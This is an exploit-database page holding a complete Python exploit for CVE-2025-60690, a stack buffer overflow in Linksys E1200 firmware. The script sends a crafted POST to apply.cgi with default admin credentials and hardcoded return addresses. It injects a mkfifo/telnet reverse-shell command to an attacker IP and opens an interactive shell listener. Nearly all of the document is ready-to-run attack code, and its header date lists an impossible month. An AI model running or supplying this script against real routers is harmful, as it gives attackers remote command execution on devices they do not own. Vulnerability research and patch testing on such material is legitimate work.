Share
## https://sploitus.com/exploit?id=PACKETSTORM:220412
# Exploit Title: Linksys E1200 2.0.04 - Authenticated Stack Buffer Overflow (RCE)
    # Date: 2026-15-03
    # Exploit Author: JarrettgxzSec
    # Vendor Homepage: www.linksys.com
    # Version: FW <= v2.0.04
    # Tested on: v2.0.02 & v2.0.04, directly connected to the LAN
    # CVE: CVE-2025-60690
    
    # Github repository: https://github.com/Jarrettgohxz/CVE-research/tree/main/Linksys/E1200-V2/CVE-2025-60690
    
    
    import sys
    import socket
    import threading
    import time
    
    from urllib.parse import quote
    
    print('[!] Please refer to the README (comments at the top of this script) to understand the affected firmware versions for CVE-2025-60690, and for which this exploit script will work on\n')
    
    if len(sys.argv) != 3:
        print(f"[!] Usage: python3 {sys.argv[0]} <ATTACKER_IP> <TARGET_IP>")
        print(f"[!] Example: python3 {sys.argv[0]} 192.168.1.100 192.168.1.1\n")
        sys.exit(1) 
    
    TARGET_IP = sys.argv[2]
    TARGET_PORT = 80
    ATTACKER_IP = sys.argv[1] 
    SHELL_PORT = 8888
    
    
    def start_shell_listener():
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            s.bind(('0.0.0.0', SHELL_PORT))
    
            print(f"[*] Listening for shell on port {SHELL_PORT}...")
            s.listen(1)
            
            
            conn, addr = s.accept()
            print(f"[+] Connection received from {addr[0]}")
            
    
            # allows interactive interaction
            conn.setblocking(True)
            conn.settimeout(0.5)
    
            while True:
                
                # send command to the router
                cmd = input("# ")
                conn.send((cmd + "\n").encode())
    
                # receive output from the router
                try:
                    while True:
                        # keep reading until the device stops sending
                        chunk = conn.recv(4096).decode(errors='ignore')
    
                        if not chunk:
                            print("\n[!] Connection closed by target.")
                            return 
    
                        print(chunk, end="", flush=True)
                        
                # timeout decided by the conn.settimeout() method previously
                except socket.timeout: 
                    # this is expected when the device is done sending text
                    pass
    
    
    def execute_exploit():
        print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...")
    
    
        # Construct the shell payload
        payload = "rm /tmp/f \n"
        payload += "mkfifo /tmp/f \n"
        payload += "killall httpd && httpd \n"
        payload += f"cat /tmp/f | /bin/sh 2>&1 | telnet {ATTACKER_IP} {SHELL_PORT} > /tmp/f"
    
        payload = quote(f" {payload}")
    
        # Construct the exploit payload
        data = b"action=Apply&lan_netmask=&lan_ipaddr=4&lan_ipaddr_0=x&lan_ipaddr_1=x&lan_ipaddr_2=x&lan_ipaddr_3="
        data += b"A"*74 + b"\xa0\x1e\xd6\x2a" + b"A"*24 + b"\x44\xa0\xd6\x2a" + b"A"*72 + b"\xfc\xd8\xd4\x2a" + b"A"*28
        data += payload.encode()
        
        # Construct the raw HTTP POST body
        content_length = len(data)
    
        http_req = f"POST /apply.cgi HTTP/1.1\r\n"
        http_req += f"Host: {TARGET_IP}\r\n"
        http_req += "Content-Type: application/x-www-form-urlencoded\r\n"
        http_req += "Authorization: Basic  YWRtaW46YWRtaW4=\r\n"
        http_req += f"Content-Length: {content_length}\r\n"
        http_req += "\r\n"
        http_req = http_req.encode() + data
    
    
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(10)
                s.connect((TARGET_IP, TARGET_PORT))
                s.sendall(http_req)
    
        except Exception as e:
            print(f"[!] Error: {e}")
    
    if __name__ == "__main__":
    
        # start the shell listener in the background
        listener_thread = threading.Thread(target=start_shell_listener)
        listener_thread.daemon = True
        listener_thread.start()
    
        # short sleep to ensure the listener is bound and ready
        time.sleep(1)
    
        # execute the exploit function
        execute_exploit()
    
        # keep main thread alive to interact with the shell
        while listener_thread.is_alive():
            time.sleep(1)